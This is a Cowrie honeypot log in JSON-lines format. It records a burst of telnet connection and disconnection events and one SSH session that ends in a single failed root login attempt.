{"eventid":"cowrie.session.closed","duration":30.966514587402344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:54.454176Z","src_ip":"62.182.85.24","session":"aefc02570b59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62170696258545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:54.480111Z","src_ip":"62.182.85.24","session":"c99cd6a6aad5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.91528582572937,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:54.559588Z","src_ip":"194.163.135.148","session":"d7b9407defba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":58696,"dst_ip":"10.17.0.5","dst_port":23,"session":"2734c4ae63b3","protocol":"telnet","message":"New connection: 62.182.85.24:58696 (10.17.0.5:23) [session: 2734c4ae63b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:54.872694Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":41970,"dst_ip":"10.17.0.5","dst_port":23,"session":"f377c58b7537","protocol":"telnet","message":"New connection: 62.182.85.24:41970 (10.17.0.5:23) [session: f377c58b7537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:55.282097Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":38130,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae52397eed2b","protocol":"telnet","message":"New connection: 103.82.231.165:38130 (10.17.0.5:23) [session: ae52397eed2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:55.433633Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":36892,"dst_ip":"10.17.0.5","dst_port":23,"session":"f12053cdf834","protocol":"telnet","message":"New connection: 62.182.85.24:36892 (10.17.0.5:23) [session: f12053cdf834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:55.645335Z"}
{"eventid":"cowrie.session.closed","duration":32.94999957084656,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:55.886264Z","src_ip":"194.163.135.148","session":"dee1ce14a70f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.0154972076416,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:56.164853Z","src_ip":"62.182.85.24","session":"59300d44fea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.67866587638855,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:56.564638Z","src_ip":"194.163.135.148","session":"70c55dc2d377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":55024,"dst_ip":"10.17.0.5","dst_port":23,"session":"6feaa9a8c24f","protocol":"telnet","message":"New connection: 62.182.85.24:55024 (10.17.0.5:23) [session: 6feaa9a8c24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:56.888851Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54126,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa3fbd5a499","protocol":"telnet","message":"New connection: 194.163.135.148:54126 (159.203.135.109:23) [session: ffa3fbd5a499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:56.936740Z"}
{"eventid":"cowrie.session.closed","duration":37.0233998298645,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:56.984649Z","src_ip":"194.163.135.148","session":"7efcedc19319","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":60306,"dst_ip":"10.17.0.5","dst_port":23,"session":"66c863bcf1a1","protocol":"telnet","message":"New connection: 62.182.85.24:60306 (10.17.0.5:23) [session: 66c863bcf1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:57.495651Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":52818,"dst_ip":"10.17.0.5","dst_port":23,"session":"2968282595e2","protocol":"telnet","message":"New connection: 62.182.85.24:52818 (10.17.0.5:23) [session: 2968282595e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:57.595502Z"}
{"eventid":"cowrie.session.closed","duration":33.77745246887207,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:57.667232Z","src_ip":"62.182.85.24","session":"60805356b0cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229347467422485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:58.009092Z","src_ip":"62.182.85.24","session":"a3af6a7e371f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.66456937789917,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:58.177854Z","src_ip":"62.182.85.24","session":"6bbcc8c709a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54138,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c9db4e2c3bb","protocol":"telnet","message":"New connection: 194.163.135.148:54138 (159.203.135.109:23) [session: 4c9db4e2c3bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:58.348613Z"}
{"eventid":"cowrie.session.closed","duration":39.70372462272644,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:58.649475Z","src_ip":"194.163.135.148","session":"d1c5b301ab6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.16719698905945,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:58.875250Z","src_ip":"62.182.85.24","session":"b14a149badee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.237746000289917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:58.958597Z","src_ip":"62.182.85.24","session":"dc9712b4afc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552042961120605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:59.265956Z","src_ip":"62.182.85.24","session":"fb418507e2fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54156,"dst_ip":"159.203.135.109","dst_port":23,"session":"69d22a4d574f","protocol":"telnet","message":"New connection: 194.163.135.148:54156 (159.203.135.109:23) [session: 69d22a4d574f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:00.635341Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":59488,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a2f3170dc80","protocol":"telnet","message":"New connection: 62.182.85.24:59488 (10.17.0.5:23) [session: 4a2f3170dc80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:01.092489Z"}
{"eventid":"cowrie.session.closed","duration":33.37427353858948,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:01.199376Z","src_ip":"194.163.135.148","session":"4c5113bf19b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54164,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8b9649bfcf5","protocol":"telnet","message":"New connection: 194.163.135.148:54164 (159.203.135.109:23) [session: b8b9649bfcf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:01.428249Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":45426,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bc76d033e4e","protocol":"telnet","message":"New connection: 62.182.85.24:45426 (10.17.0.5:23) [session: 4bc76d033e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:02.925000Z"}
{"eventid":"cowrie.session.closed","duration":31.03594422340393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:03.187732Z","src_ip":"62.182.85.24","session":"cfc21dcaf35f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":41516,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bbdb41cde8e","protocol":"telnet","message":"New connection: 62.182.85.24:41516 (10.17.0.5:23) [session: 7bbdb41cde8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:03.318680Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":53654,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5aa31d82e4c","protocol":"telnet","message":"New connection: 62.182.85.24:53654 (10.17.0.5:23) [session: f5aa31d82e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:03.323463Z"}
{"eventid":"cowrie.session.closed","duration":31.378041744232178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:03.424936Z","src_ip":"62.182.85.24","session":"22a38a1fca78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":46842,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d3f6c68bdc3","protocol":"telnet","message":"New connection: 62.182.85.24:46842 (10.17.0.5:23) [session: 2d3f6c68bdc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:05.123118Z"}
{"eventid":"cowrie.session.closed","duration":30.505884885787964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:05.258281Z","src_ip":"62.182.85.24","session":"57dbaa09b44e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.55874729156494,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:05.315869Z","src_ip":"194.163.135.148","session":"4005c4d7f365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.400516986846924,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:05.545826Z","src_ip":"194.163.135.148","session":"740fdc264204","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":51074,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b39eb6994bd","protocol":"telnet","message":"New connection: 62.182.85.24:51074 (10.17.0.5:23) [session: 4b39eb6994bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:05.659784Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":45042,"dst_ip":"10.17.0.5","dst_port":23,"session":"998dd6ae4830","protocol":"telnet","message":"New connection: 62.182.85.24:45042 (10.17.0.5:23) [session: 998dd6ae4830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:05.916692Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":44320,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aac086c6e31","protocol":"telnet","message":"New connection: 62.182.85.24:44320 (10.17.0.5:23) [session: 8aac086c6e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:06.419615Z"}
{"eventid":"cowrie.session.closed","duration":32.15175819396973,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:06.916698Z","src_ip":"62.182.85.24","session":"0fbf237078c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":49106,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1fe056b1307","protocol":"telnet","message":"New connection: 62.182.85.24:49106 (10.17.0.5:23) [session: f1fe056b1307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:07.009037Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":53454,"dst_ip":"10.17.0.5","dst_port":23,"session":"41b9302925fd","protocol":"telnet","message":"New connection: 62.182.85.24:53454 (10.17.0.5:23) [session: 41b9302925fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:07.623683Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57840,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa0f03a72876","protocol":"telnet","message":"New connection: 62.182.85.24:57840 (10.17.0.5:23) [session: fa0f03a72876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:08.198413Z"}
{"eventid":"cowrie.session.closed","duration":38.206958293914795,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:09.621095Z","src_ip":"194.163.135.148","session":"16ddf346c2cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112558126449585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:10.212967Z","src_ip":"62.182.85.24","session":"cdbf8b8d6514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.1796669960022,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:10.242828Z","src_ip":"62.182.85.24","session":"08bfe13abba8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":48506,"dst_ip":"10.17.0.5","dst_port":23,"session":"07ffda6819c3","protocol":"telnet","message":"New connection: 62.182.85.24:48506 (10.17.0.5:23) [session: 07ffda6819c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:10.615312Z"}
{"eventid":"cowrie.session.closed","duration":31.36356496810913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:11.788506Z","src_ip":"62.182.85.24","session":"5a685102faea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":42996,"dst_ip":"10.17.0.5","dst_port":23,"session":"f07a32123931","protocol":"telnet","message":"New connection: 62.182.85.24:42996 (10.17.0.5:23) [session: f07a32123931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:12.256955Z"}
{"eventid":"cowrie.session.closed","duration":0.007342338562011719,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:12.264206Z","src_ip":"62.182.85.24","session":"f07a32123931","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":35570,"dst_ip":"10.17.0.5","dst_port":23,"session":"49b168a70262","protocol":"telnet","message":"New connection: 62.182.85.24:35570 (10.17.0.5:23) [session: 49b168a70262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:12.549083Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":37992,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fb1c2c70538","protocol":"telnet","message":"New connection: 62.182.85.24:37992 (10.17.0.5:23) [session: 3fb1c2c70538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:12.827444Z"}
{"eventid":"cowrie.session.closed","duration":30.96189284324646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:13.210557Z","src_ip":"62.182.85.24","session":"c0f95b3aea82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54236,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd3cdc893acf","protocol":"telnet","message":"New connection: 194.163.135.148:54236 (159.203.135.109:23) [session: bd3cdc893acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:13.953676Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54240,"dst_ip":"159.203.135.109","dst_port":23,"session":"e48a538a16a8","protocol":"telnet","message":"New connection: 194.163.135.148:54240 (159.203.135.109:23) [session: e48a538a16a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:14.228638Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54254,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ecd208c20cf","protocol":"telnet","message":"New connection: 194.163.135.148:54254 (159.203.135.109:23) [session: 8ecd208c20cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:15.128001Z"}
{"eventid":"cowrie.session.closed","duration":30.510894060134888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:15.178234Z","src_ip":"62.182.85.24","session":"ae5b812a40c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54256,"dst_ip":"159.203.135.109","dst_port":23,"session":"6232d81833bb","protocol":"telnet","message":"New connection: 194.163.135.148:54256 (159.203.135.109:23) [session: 6232d81833bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:15.443535Z"}
{"eventid":"cowrie.session.closed","duration":31.019275903701782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:15.497736Z","src_ip":"62.182.85.24","session":"35a947e977f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":60728,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0a2ee6c5ea6","protocol":"telnet","message":"New connection: 62.182.85.24:60728 (10.17.0.5:23) [session: a0a2ee6c5ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:15.787167Z"}
{"eventid":"cowrie.session.closed","duration":30.538455486297607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:16.192628Z","src_ip":"62.182.85.24","session":"28d3b6ac6723","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":53742,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cb0a5427855","protocol":"telnet","message":"New connection: 62.182.85.24:53742 (10.17.0.5:23) [session: 5cb0a5427855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:16.895363Z"}
{"eventid":"cowrie.session.closed","duration":30.670531272888184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:17.224199Z","src_ip":"62.182.85.24","session":"c2124fc7f3ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6624538898468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:18.242670Z","src_ip":"62.182.85.24","session":"ebc508203fb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":53248,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b7fbd50bc64","protocol":"telnet","message":"New connection: 62.182.85.24:53248 (10.17.0.5:23) [session: 7b7fbd50bc64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:18.483350Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":60132,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc44dc118c66","protocol":"telnet","message":"New connection: 62.182.85.24:60132 (10.17.0.5:23) [session: bc44dc118c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:18.700817Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":55892,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd5ad6112be0","protocol":"telnet","message":"New connection: 62.182.85.24:55892 (10.17.0.5:23) [session: fd5ad6112be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:18.786433Z"}
{"eventid":"cowrie.session.closed","duration":34.25465393066406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:18.882288Z","src_ip":"194.163.135.148","session":"617ee5b698b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.422439575195312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:21.066374Z","src_ip":"62.182.85.24","session":"8c7cc2b01d13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.337740659713745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:21.235093Z","src_ip":"62.182.85.24","session":"c946b1ab6aee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":45520,"dst_ip":"10.17.0.5","dst_port":23,"session":"b99d55a0f70c","protocol":"telnet","message":"New connection: 62.182.85.24:45520 (10.17.0.5:23) [session: b99d55a0f70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:21.499509Z"}
{"eventid":"cowrie.session.closed","duration":35.530619621276855,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:21.792075Z","src_ip":"194.163.135.148","session":"b47e0f27288d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.346110582351685,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:21.956827Z","src_ip":"194.163.135.148","session":"f1b45e8f2838","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":60796,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dde441d327a","protocol":"ssh","message":"New connection: 181.65.191.218:60796 (10.17.0.5:22) [session: 3dde441d327a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:22.881923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:22.886929Z","src_ip":"181.65.191.218","session":"3dde441d327a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:23.000680Z","src_ip":"181.65.191.218","session":"3dde441d327a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu_123","message":"login attempt [root/ubuntu_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:23.479535Z","src_ip":"181.65.191.218","session":"3dde441d327a","protocol":"ssh"}
